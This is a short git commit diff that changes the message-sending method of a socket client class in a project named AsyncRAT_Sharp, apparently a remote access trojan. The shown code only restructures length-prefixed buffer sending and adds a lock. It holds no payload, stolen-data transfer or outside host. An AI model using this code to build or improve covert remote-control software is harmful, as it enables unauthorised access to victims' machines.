Update Clients.cs

This commit is contained in:
NYAN CAT 2019-01-27 08:40:13 -08:00
parent 0fcbc94b69
commit 45f086ed07

View File

@ -118,7 +118,10 @@ namespace AsyncRAT_Sharp.Sockets
catch { }
}
public async void BeginSend(object Msgs)
public void BeginSend(object Msgs)
{
Clients Me = this;
lock (Me)
{
if (Client.Connected)
{
@ -128,13 +131,9 @@ namespace AsyncRAT_Sharp.Sockets
{
byte[] buffer = (byte[])Msgs;
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0));
await MS.WriteAsync(buffersize, 0, buffersize.Length);
await MS.WriteAsync(buffer, 0, buffer.Length);
while (!(Client.Poll(-1, SelectMode.SelectWrite)))
{
await Task.Delay(100);
if (!Client.Connected) Disconnected();
}
MS.WriteAsync(buffersize, 0, buffersize.Length);
MS.WriteAsync(buffer, 0, buffer.Length);
Client.Poll(-1, SelectMode.SelectWrite);
Client.BeginSend(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None, EndSend, null);
Settings.Sent += (long)MS.Length;
}
@ -145,6 +144,7 @@ namespace AsyncRAT_Sharp.Sockets
}
}
}
}
public void EndSend(IAsyncResult ar)
{